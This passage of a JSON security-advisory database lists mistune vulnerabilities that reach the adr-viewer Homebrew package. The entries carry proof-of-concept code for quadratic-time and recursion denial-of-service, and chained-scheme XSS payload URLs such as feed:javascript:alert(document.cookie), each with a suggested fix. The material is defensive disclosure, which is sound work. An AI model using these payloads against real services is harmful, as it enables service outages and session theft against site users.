enabled may allow unintended file access. The impact depends on how the feature is used and what files are accessible to the running process.\n\n### Recommended Fix\n\nValidate the resolved path and ensure it remains within an allowed directory before opening the file.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-r4rv-85jg-w4mf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59924"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/1bef343ade163fc3bb95572b15be720084cdb993"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2212.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59925","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-4j32-57v6-6g45","CVE-2026-59925","PYSEC-2026-2213"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":"Mistune inline_parser: quadratic-time parsing on long runs of `**x**` and `***x***` emphasis pairs","details":"## Summary\n\n**Type:** Algorithmic-complexity DoS in core emphasis parsing. A long sequence of well-formed `**x**` (strong) or `***x***` (strong-emphasis combined) pairs causes O(N²) parser work. Distinct from the bracket-bomb DoS (`[` repetition) and from the formatting-plugin DoS (`~~`/`==`/`^^`); this one fires on default-config mistune with no plugins required.\n**File:** `src/mistune/inline_parser.py` lines 41-48 (the `EMPHASIS_END_RE` family) and the surrounding emphasis dispatch.\n**Root cause:** for every opening run of `*`s the parser scans forward using one of `EMPHASIS_END_RE['*']` / `['**']` / `['***']` to find the matching close. Each scan is bounded per call, but the parser invokes the scan from every potential start position. For input shaped `**x**` repeated N times, every `**` is treated as a potential start, each scan can cover up to the end of input. Total work is O(N²). The triple-emphasis variant `***x***` is slightly worse due to the extra alternation between `*`, `**`, and `***` close patterns. Reproducible against default mistune with no plugins.\n\n## Affected Code\n\n**File:** `src/mistune/inline_parser.py`, lines 41-48.\n\n```python\nEMPHASIS_END_RE = {\n \"*\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\*|[^\\s*])\\*(?!\\*)\"),\n \"_\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\_|[^\\s_])_(?!_)\\b\"),\n \"**\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\*|[^\\s*])\\*\\*(?!\\*)\"),\n \"__\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\_|[^\\s_])__(?!_)\\b\"),\n \"***\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\\\*|[^\\s*])\\*\\*\\*(?!\\*)\"),\n \"___\": re.compile(r\"(?:\" + PREVENT_BACKSLASH + r\"\\\\_|[^\\s_])___(?!_)\\b\"),\n}\n# Each of the six end-patterns is invoked from every emphasis open position\n# fired by the inline rule `r\"\\*{1,3}(?=[^\\s*])|\\b_{1,3}(?=[^\\s_])\"`. The\n# scan itself is bounded per call; the cost comes from the parser invoking\n# the scan at every matching open marker, giving O(N²) total work.\n```\n\n**Why it's wrong:** same shape as the formatting-plugin and bracket-bomb DoS findings. The CommonMark reference parser handles emphasis in linear time using a delimiter-stack algorithm (`commonmark.js`, `commonmark-py`, `markdown-it-py` all do this). mistune retries the close-scan from each open marker. The bounded regex is not enough; the surrounding loop is the source of the quadratic.\n\n## Exploit Chain\n\n1. Application uses mistune to render user-supplied markdown. No plugins required — affects the default `mistune.create_markdown()` configuration.\n2. Attacker submits a 40 KB payload of `**x**` repeated 8000 times.\n3. Server CPU pegs for ~4 seconds; 16 KB → ~17 seconds. Doubling input quadruples time.\n4. Repeating the request floods the worker pool.\n\n## Security Impact\n\n**Severity:** sec-high. Network-reachable, no authentication, no plugin requirement. Default mistune is vulnerable.\n**Attacker capability:** O(N²) CPU cost from a single small input. Predictable scaling, easy to combine with concurrent requests for service denial.\n**Preconditions:** application uses `mistune.create_markdown()` (default config) on attacker-supplied markdown. No plugins required.\n**Differential:** PoC-verified against mistune@3.2.1, default config:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown() # no plugins\nfor n in [500, 1000, 2000, 4000, 8000]:\n s = '**x**' * n\n t = time.time()\n md(s)\n print(f' **x** * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n# **x** * 500 (2500b): 20ms\n# **x** * 1000 (5000b): 74ms\n# **x** * 2000 (10000b): 284ms\n# **x** * 4000 (20000b): 1079ms\n# **x** * 8000 (40000b): 4309ms\n\n# Triple-emphasis is similar:\nmd('***x***' * 4000) # ~1500ms\n\n# Linear in N for non-emphasis input of comparable size:\nmd('xxxxx' * 8000) # 1ms (4000x faster)\n```\n\nThe patched build (with the suggested fix below — delimiter-stack rewrite or hard cap on simultaneous open markers) keeps the time linear in N.\n\n## Suggested Fix\n\nCap the number of unmatched opening emphasis markers the parser will track simultaneously, treating the rest as literal text:\n\n```diff\n--- a/src/mistune/inline_parser.py\n+++ b/src/mistune/inline_parser.py\n@@ ... in the emphasis-handling code path\n+ # Bound the number of open emphasis markers tracked. CommonMark gives\n+ # no semantics to deeply nested unmatched emphasis; this cap turns the\n+ # parser-level O(N^2) into O(N) for adversarial inputs while preserving\n+ # behaviour on every realistic markdown document.\n+ MAX_OPEN_EMPHASIS = 100\n+ if open_emphasis_count > MAX_OPEN_EMPHASIS:\n+ # treat remaining * / _ as literal text\n+ ...\n```\n\nThe proper fix is a delimiter-stack pass, the same approach the formatting-plugin advisory and the bracket-bomb advisory recommend. All three DoS findings share the same algorithmic pattern; a single rewrite of the inline-token retry loop closes them together. Add a regression test asserting that `md('**x**' * 50_000)` completes in under 1 second.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-4j32-57v6-6g45"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59925"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/5de41fb8e527004dbc363e047a3c380c9288c74f"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2213.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59926","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-g97x-gvcm-x72h","CVE-2026-59926","PYSEC-2026-2214"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":"Mistune: XSS via unescaped class option in Admonition directive","details":"In `src/mistune/directives/admonition.py`, the `render_admonition()` function concatenates the `:class:` option directly into the HTML class attribute without escaping (lines 63-68).\n\nThis allows attribute injection and XSS even when `HTMLRenderer(escape=True)` is used.\n\nThe directive name parameter is safe (validated against whitelist), but the class option comes from raw user input.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-g97x-gvcm-x72h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59926"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/a3cb6e5655308797e8be021d6c7b5bab13cbace2"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.2.1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2214.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59927","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-8mpj-m6qm-5qr8","CVE-2026-59927","PYSEC-2026-2215"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":"Mistune directives/include: mutual `.. include::` recursion crashes the renderer with `RecursionError`, denial of service via two attacker-controlled markdown files","details":"## Summary\n\n**Type:** Uncontrolled recursion via mutual include. The `Include` directive checks for direct self-reference (`a.md` cannot include `a.md`), but does not detect indirect cycles. Two markdown files that include each other (`a.md` → includes `b.md` → includes `a.md`) cause unbounded recursion until Python's stack limit fires `RecursionError`. The exception propagates out of the renderer and crashes the calling code.\n**File:** `src/mistune/directives/include.py`, lines 33-37 (the self-include check is the only cycle-detection logic).\n**Root cause:** the include logic only compares `os.path.abspath(dest) == os.path.abspath(source_file)`. There is no per-render set of \"files already included\" that would catch transitive cycles. When `a.md` includes `b.md`, the recursive `block.parse(new_state)` call uses `dest` (b.md) as the new `__file__`, which then includes `a.md` (passing the self-check, because the immediate parent file is `b.md`, not `a.md`), which then includes `b.md`, and so on. Each recursion level adds Python frames; the default stack limit of 1000 frames trips after ~7-10 cycle iterations and Python raises `RecursionError`. Since the directive does not catch the exception, it propagates out of `Markdown.parse()` and surfaces in the calling code, crashing the request.\n\n## Affected Code\n\n**File:** `src/mistune/directives/include.py`, lines 28-54.\n\n```python\nrelpath = self.parse_title(m)\ndest = os.path.join(os.path.dirname(source_file), relpath)\ndest = os.path.normpath(dest)\n\nif os.path.abspath(dest) == os.path.abspath(source_file): # <-- only catches direct self-include\n return {\"type\": \"block_error\", \"raw\": \"Could not include self: \" + relpath}\n\nif not os.path.isfile(dest):\n return {\"type\": \"block_error\", \"raw\": \"Could not find file: \" + relpath}\n\nwith open(dest, \"rb\") as f:\n content = f.read().decode(encoding)\n\next = os.path.splitext(relpath)[1]\nif ext in {\".md\", \".markdown\", \".mkd\"}:\n new_state = block.state_cls()\n new_state.env[\"__file__\"] = dest\n new_state.process(content)\n block.parse(new_state) # <-- recursive parse, no cycle tracking\n return new_state.tokens\n```\n\n**Why it's wrong:** the cycle-detection check is one level deep. Multi-file cycles slip through trivially. Python's default recursion limit is 1000 frames, so a cycle of length 2 trips after a few hundred mutual includes; the exception is uncaught by the directive, propagating out of `Markdown.__call__()` and crashing whatever called it.\n\n## Exploit Chain\n\n1. Application uses mistune with the `Include` directive enabled. Application accepts user-supplied markdown files (CMS, wiki, multi-user documentation platform, note-taking app, CI/CD doc renderer).\n2. Attacker uploads two markdown files:\n - `a.md`: `.. include:: b.md`\n - `b.md`: `.. include:: a.md`\n3. Renderer is invoked on `a.md` (or any markdown that references this pair). `Include` directive includes `b.md`, which includes `a.md`, which includes `b.md`, ... Each recursion adds Python frames.\n4. After ~340 cycle iterations (depending on default `sys.setrecursionlimit(1000)` and the per-include frame depth), Python raises `RecursionError: maximum recursion depth exceeded`.\n5. The exception is not caught by the directive. It propagates through `block.parse`, through `Markdown.__call__`, and into the application's request handler. If the application doesn't catch it explicitly, the request errors out (HTTP 500 in web contexts, crash in CLI tools).\n\n## Security Impact\n\n**Attacker capability:** crash the rendering engine on demand by submitting any markdown that triggers the cycle. Repeated requests deny service. If the renderer is used in a hot path (per-page-view docs rendering, search-index regeneration, scheduled doc-export jobs), the cycle persists across the whole pipeline.\n**Preconditions:** application uses mistune with the `Include` directive enabled and renders user-supplied markdown that can reference other user-uploaded files. Attacker needs write access to two .md files in the include search path (or a single file including a known-recurring pair).\n**Differential:** PoC-verified against mistune@3.2.1:\n\n```python\nimport os, mistune\nfrom mistune.directives import RSTDirective, Include\n\nos.makedirs('/tmp/mistune-recur', exist_ok=True)\nwith open('/tmp/mistune-recur/a.md', 'w') as f:\n f.write('A\\n\\n.. include:: b.md')\nwith open('/tmp/mistune-recur/b.md', 'w') as f:\n f.write('B\\n\\n.. include:: a.md')\n\nmd = mistune.create_markdown(plugins=[RSTDirective([Include()])])\nstate = md.block.state_cls()\nstate.env['__file__'] = '/tmp/mistune-recur/a.md'\nmd.parse('.. include:: b.md', state=state)\n# RecursionError: maximum recursion depth exceeded\n```\n\nThe patched build (with the suggested fix below) returns a `block_error` token like the existing self-include check, instead of recursing forever.\n\n## Suggested Fix\n\nTrack included paths in `state.env` and reject any include that would re-enter a path already on the include stack:\n\n```diff\n--- a/src/mistune/directives/include.py\n+++ b/src/mistune/directives/include.py\n@@ -28,8 +28,18 @@ class Include(DirectivePlugin):\n relpath = self.parse_title(m)\n- dest = os.path.join(os.path.dirname(source_file), relpath)\n- dest = os.path.normpath(dest)\n+ base = os.path.realpath(os.path.dirname(source_file))\n+ dest = os.path.realpath(os.path.join(base, relpath))\n+\n+ # Track include stack across recursive parses to detect cycles.\n+ include_stack = state.env.setdefault(\"__include_stack__\", [])\n+ if dest in include_stack or dest == os.path.realpath(source_file):\n+ return {\n+ \"type\": \"block_error\",\n+ \"raw\": \"Could not include (cycle): \" + relpath,\n+ }\n\n- if os.path.abspath(dest) == os.path.abspath(source_file):\n- return {\n- \"type\": \"block_error\",\n- \"raw\": \"Could not include self: \" + relpath,\n- }\n@@ ... in the markdown-include branch ...\n+ include_stack.append(dest)\n+ try:\n+ new_state = block.state_cls()\n+ new_state.env[\"__file__\"] = dest\n+ new_state.env[\"__include_stack__\"] = include_stack\n+ new_state.process(content)\n+ block.parse(new_state)\n+ return new_state.tokens\n+ finally:\n+ include_stack.pop()\n```\n\nThis catches cycles of any length (`a → b → a`, `a → b → c → a`, etc.). Pair this with the path-containment fix from the LFI advisory and the HTML-extension fix from the include-XSS advisory; together those three patches make the `Include` directive safe to enable on user-supplied markdown.\n\nAdd a regression test asserting that a 2-cycle and a 3-cycle both produce `block_error` rather than `RecursionError`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-8mpj-m6qm-5qr8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59927"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/1bef343ade163fc3bb95572b15be720084cdb993"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2215.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59928","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-ffq3-xpv3-j92q","CVE-2026-59928","PYSEC-2026-2216"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":"Mistune block_parser: quadratic-time parsing on long lists of repeated reference-link definitions","details":"## Summary\n\n**Type:** Algorithmic-complexity DoS in reference-link definition handling. A markdown document with N reference-link definitions of the same key (or many distinct keys) takes O(N²) parser time. 5000 repeated `[a]: u\\n` definitions take ~1.1 second; 10000 → ~4.5 seconds.\n**File:** `src/mistune/block_parser.py` (reference-link def parsing) and the surrounding `ref_links` env-dictionary handling.\n**Root cause:** every reference definition is parsed by scanning forward from each candidate position. The `unikey` normalisation runs per-def, the dictionary insert is per-def, and the lookup-by-label-then-iterate-defs path is linear in the number of stored defs. For input with N defs, the total work is O(N²).\n\n## Affected Code\n\n`src/mistune/block_parser.py` — reference-definition rule fires on every line that matches `[label]: url`. For each one:\n- `unikey(label)` is called (linear scan of the label).\n- The def is appended to `state.env['ref_links']`.\n- Later inline-link resolution looks up by `unikey(label)` in the dict (O(1)) but the surrounding parser revisits the def list for paragraph-vs-def disambiguation.\n\nThe cumulative parse time grows as the square of the number of defs.\n\n**Why it's wrong:** the parser does not amortise the def-list scan. A single forward pass with a hash-keyed dict (already in place) plus a per-line classifier should make this O(N).\n\n## Exploit Chain\n\n1. Application uses mistune to render attacker-supplied markdown. No plugins required.\n2. Attacker submits a 35 KB document of `[a]: u\\n` repeated 5000 times followed by `[click][a]`.\n3. CPU pegs for ~1.1 seconds. 10000 defs → ~4.5 s. 20000 → ~18 s. Doubling input quadruples time.\n\n## Security Impact\n\n**Attacker capability:** small input → large CPU. Predictable scaling. Can be repeated.\n**Preconditions:** application uses `mistune.create_markdown()` (default config) on attacker-supplied markdown. Worth noting: the `ref_links` dictionary persists for the lifetime of the parse, so a long document with many defs builds up memory; with N defs of attacker-chosen length, the per-def normalisation cost compounds.\n**Differential:** PoC-verified against mistune@3.2.1, default config:\n\n```python\nimport mistune, time\nmd = mistune.create_markdown()\nfor n in [1000, 2000, 5000, 10000]:\n s = '[a]: u\\n' * n + '[click][a]'\n t = time.time()\n md(s)\n print(f' ref defs * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')\n\n# Output (Python 3.13, Linux, 2.5GHz CPU):\n# ref defs * 1000 ( 7012b): 46ms\n# ref defs * 2000 (14012b): 186ms\n# ref defs * 5000 (35012b): 1121ms\n# ref defs * 10000 (70012b): 4400ms\n```\n\nThe patched build (with the surrounding parser amortised to O(N)) keeps the time linear.\n\n## Suggested Fix\n\nReplace the per-def re-scan with a single forward pass that classifies each line into `ref_def | paragraph | other` once and only inserts into `ref_links` once per def. The dict already exists; the wasted work is in the surrounding scan loop, not in the dict operations.\n\nA regression test asserting that `md('[a]: u\\n' * 50_000 + '[click][a]')` completes in under 1 second would catch any regression.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/security/advisories/GHSA-ffq3-xpv3-j92q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59928"},{"type":"WEB","url":"https://github.com/lepture/mistune/commit/2b04d7ba341c16ac78fe82d3076bdd5c3de87c69"},{"type":"PACKAGE","url":"https://github.com/lepture/mistune"},{"type":"WEB","url":"https://github.com/lepture/mistune/releases/tag/v3.3.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/mistune/PYSEC-2026-2216.yaml"}]},{"schema_version":"1.7.3","id":"BREW-adr-viewer-CVE-2026-59929","published":"2026-08-13T16:35:11Z","modified":"2026-09-18T14:56:30Z","upstream":["GHSA-qfrw-5rxm-mhh2","CVE-2026-59929","PYSEC-2026-2217"],"affected":[{"package":{"ecosystem":"Homebrew","name":"adr-viewer","purl":"pkg:brew/adr-viewer"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.4.0_6"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.3.0","resource":"mistune","resource_purl":"pkg:pypi/mistune@3.3.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"mistune","subject_version":"3.3.4","key":"pkg:pypi/mistune@3.3.4","resource":"mistune"}]},"summary":"Mistune renderers/html.safe_url: HARMFUL_PROTOCOLS list misses legacy and chained schemes that historically chain to `javascript:` execution","details":"## Summary\n\n**Type:** URL-scheme allowlist gap. The `safe_url` filter only blocks the four schemes `javascript:`, `vbscript:`, `file:`, `data:`. Several other schemes are accepted into rendered `` and `` tags despite being known XSS vectors in legacy or chain-handling browsers. The same gap applies to direct links, reference links, and autolinks.\n**File:** `src/mistune/renderers/html.py`, line 11-23 (HARMFUL_PROTOCOLS list).\n**Root cause:** the HARMFUL_PROTOCOLS tuple is a hardcoded, opt-out denylist of four entries. Browsers historically supported (and some still partially support) several other schemes that either execute JavaScript directly (`livescript:`, `mocha:`) or wrap a `javascript:` payload (`feed:javascript:`, `view-source:javascript:`, `jar:javascript:`, `ms-its:javascript:`, `mk:@MSITStore:javascript:`). On user-agents that still recognise these schemes (older Firefox builds for `feed:`/`jar:`, all Internet Explorer / Edge Legacy for `ms-its:`/`mk:`/`res:`, niche chrome-style browsers, browser extensions that register custom protocol handlers), clicking a link rendered by mistune executes attacker-controlled JavaScript in the page's origin.\n\n## Affected Code\n\n**File:** `src/mistune/renderers/html.py`, lines 10-62.\n\n```python\nclass HTMLRenderer(BaseRenderer):\n HARMFUL_PROTOCOLS: ClassVar[Tuple[str, ...]] = (\n \"javascript:\",\n \"vbscript:\",\n \"file:\",\n \"data:\",\n ) # <-- BUG: incomplete denylist\n GOOD_DATA_PROTOCOLS: ClassVar[Tuple[str, ...]] = (\n \"data:image/gif;\",\n \"data:image/png;\",\n \"data:image/jpeg;\",\n \"data:image/webp;\",\n )\n\n def safe_url(self, url: str) -> str:\n if self._allow_harmful_protocols is True:\n return escape_text(url)\n _url = url.lower()\n if self._allow_harmful_protocols and _url.startswith(tuple(self._allow_harmful_protocols)):\n return escape_text(url)\n if _url.startswith(self.HARMFUL_PROTOCOLS) and not _url.startswith(self.GOOD_DATA_PROTOCOLS):\n return \"#harmful-link\"\n return escape_text(url) # <-- BUG: any scheme not in HARMFUL_PROTOCOLS passes through\n```\n\n**Why it's wrong:** an opt-out denylist for URL schemes is the wrong shape. The set of schemes a user-agent might honour is unbounded (registered handlers, browser extensions, OS-level protocol registrations, custom intent handlers on Android, etc.), but the set of schemes a markdown renderer needs to allow is small (`http://`, `https://`, `mailto:`, optionally `tel:`, `ftp:`, fragment-only `#anchor`, and a few image-only `data:` types). Switching to an opt-in allowlist with a `safe_extra_protocols` knob for callers who need others would close every variant of this bug class permanently. The current code accepts every chained-scheme XSS vector for as long as the project remembers to keep the denylist current.\n\n## Exploit Chain\n\n1. Application accepts attacker-supplied markdown and renders it with mistune. The default `escape=True` prevents raw HTML, but link href/image src filtering is the only XSS defense for `[click](...)` and `![alt](...)` syntax.\n2. Attacker writes `[click here](feed:javascript:alert(document.cookie))`. mistune's `safe_url` checks `feed:javascript:alert(document.cookie)` against `HARMFUL_PROTOCOLS = ('javascript:', 'vbscript:', 'file:', 'data:')` — none match. The href is escape_text'd (HTML-entity escape) and emitted as `click here`.\n3. Victim using a Firefox build that still has the feed handler registered (extension, configuration, or LTS that retained the feed reader past the 64.0 removal — including some forks and ESR builds) clicks the link. Firefox's feed handler invokes the inner URL, which is `javascript:alert(...)`. JS executes in the page's origin. Victim's session cookie is exfiltrated.\n4. Same pattern for `livescript:alert(1)` (Netscape Communicator era, still recognised by some niche browsers / browser-emulator tools), `view-source:javascript:alert(1)` (Firefox, see CVE-2009-1938), `jar:javascript:alert(1)` (older Firefox), `ms-its:javascript:` (IE/Edge Legacy), `res:javascript:` (IE), `mk:@MSITStore:javascript:` (IE CHM viewer). Each user-agent that recognises one of these is exploitable; the user-agent population that recognises at least one is not negligible (corporate environments still running Edge Legacy compatibility mode, locked-down kiosk browsers, Android WebView in apps that register custom intent handlers, Linux distros with old Firefox ESR plus the `feed:` extension, etc.).\n\nThe same primitive applies to image src (`![](feed:javascript:...)` rendered as ``) — though most browsers don't fetch javascript: from img src, the same chained handler quirk applies on a few user-agents — and to reference links and autolinks (verified in the PoC below; the rendered HTML is identical regardless of which markdown link syntax is used).\n\n## Security Impact\n\n**Severity:** sec-moderate. Conditional XSS depending on user-agent. Modern Chrome / Edge Chromium / Safari ignore most of these schemes, but Firefox forks, Edge Legacy, in-app WebViews, browser extensions registering custom handlers, and corporate browser deployments are exposed. Defence-in-depth is the framing: a markdown renderer should not need to track which browsers still honour which legacy chained-scheme.\n**Attacker capability:** plant a link in any place the application renders user-supplied markdown. When clicked by a user-agent that honours the legacy scheme, the attacker's JavaScript runs in the page's origin (steal cookies, perform actions as the victim, etc.).\n**Preconditions:** application uses mistune to render attacker-influenced markdown. Default config. Victim user-agent is one of the affected populations. No specific mistune option is required.\n**Differential:** PoC-verified against mistune@3.2.1, default config. The following inputs all PASS the filter and reach the rendered HTML unchanged:\n\n```python\nimport mistune\nmd = mistune.create_markdown()\nfor url in [\n 'feed:javascript:alert(1)', # Firefox feed handler chain\n 'livescript:alert(1)', # Netscape, niche browsers\n 'mocha:alert(1)', # Netscape, niche browsers\n 'view-source:javascript:alert(1)', # Firefox view-source chain (CVE-2009-1938 class)\n 'jar:javascript:alert(1)', # Firefox jar: handler chain\n 'ms-its:javascript:alert(1)', # IE/Edge Legacy InfoTech Storage handler\n 'mk:@MSITStore:javascript:alert(1)', # IE CHM viewer chain\n 'res:javascript:', # IE resource: handler\n]:\n print(md(f'[click]({url})').strip())\n\n# Output (each one passes the filter):\n#

    click

    \n#

    click

    \n#

    click

    \n#

    click

    \n#

    click

    \n#

    click

    \n#

    click

    \n#

    click

    \n```\n\nFor comparison, the four schemes already in the denylist are correctly blocked: `javascript:`, `vbscript:`, `file:`, `data:text/html` all return ``.\n\nThe same gap applies to reference links (`[click][ref]\\n\\n[ref]: feed:javascript:alert(1)` → ``) and to autolinks (`` → ``).\n\n## Suggested Fix\n\nSwitch from denylist to allowlist. The set of schemes a markdown renderer needs to allow is small and well-known; the set of schemes that might trigger handler chains is unbounded.\n\n```diff\n--- a/src/mistune/renderers/html.py\n+++ b/src/mistune/renderers/html.py\n@@ -7,21 +7,28 @@ class HTMLRenderer(BaseRenderer):\n\n _escape: bool\n NAME: ClassVar[Literal[\"html\"]] = \"html\"\n- HARMFUL_PROTOCOLS: ClassVar[Tuple[str, ...]] = (\n- \"javascript:\",\n- \"vbscript:\",\n- \"file:\",\n- \"data:\",\n- )\n+ SAFE_PROTOCOLS: ClassVar[Tuple[str, ...]] = (\n+ \"http:\",\n+ \"https:\",\n+ \"mailto:\",\n+ \"tel:\",\n+ \"ftp:\",\n+ \"ftps:\",\n+ \"irc:\",\n+ \"ircs:\",\n+ )\n GOOD_DATA_PROTOCOLS: ClassVar[Tuple[str, ...]] = (\n \"data:image/gif;\",\n \"data:image/png;\",\n \"data:image/jpeg;\",\n \"data:image/webp;\",\n )\n\n@@ -49,15 +56,21 @@ class HTMLRenderer(BaseRenderer):\n def safe_url(self, url: str) -> str:\n- if self._allow_harmful_protocols is True:\n- return escape_text(url)\n-\n- _url = url.lower()\n- if self._allow_harmful_protocols and _url.startswith(tuple(self._allow_harmful_protocols)):\n- return escape_text(url)\n-\n- if _url.startswith(self.HARMFUL_PROTOCOLS) and not _url.startswith(self.GOOD_DATA_PROTOCOLS):\n- return \"#harmful-link\"\n- return escape_text(url)\n+ # Allow-list: only schemes in SAFE_PROTOCOLS, image-only data: URLs in\n+ # GOOD_DATA_PROTOCOLS, scheme-relative URLs (//host/path), absolute\n+ # paths (/path), and anchor-only references (#fragment) reach the\n+ # rendered output. Everything else is replaced with '#harmful-link'.\n+ if self._allow_harmful_protocols is True:\n+ return escape_text(url)\n+ _url = url.lower().lstrip()\n+ if (\n+ _url.startswith(self.SAFE_PROTOCOLS)\n+ or _url.startswith(self.GOOD_DATA_PROTOCOLS)\n+ or _url.startswith((\"/\", \"#\", \"?\"))\n+ or \":\" not in _url.split(\"/\", 1)[0] # bare relative path\n+ ):\n+ return escape_text(url)\n+ if self._allow_harmful_protocols and _url.startswith(tuple(self._allow_harmful_protocols)):\n+ return escape_text(url)\n+ return \"#harmful-link\"\n```\n\nThe `allow_harmful_protocols` option is preserved, so callers who genuinely want to allow a custom scheme can still opt in. The `lower().lstrip()` also closes the leading-whitespace evasion sub-case (e.g., ` javascript:` is already blocked by the current code via `lower().startswith`, but the same pattern needs to apply on the new allowlist branch). Add regression tests for each scheme listed in the PoC above asserting they resolve to 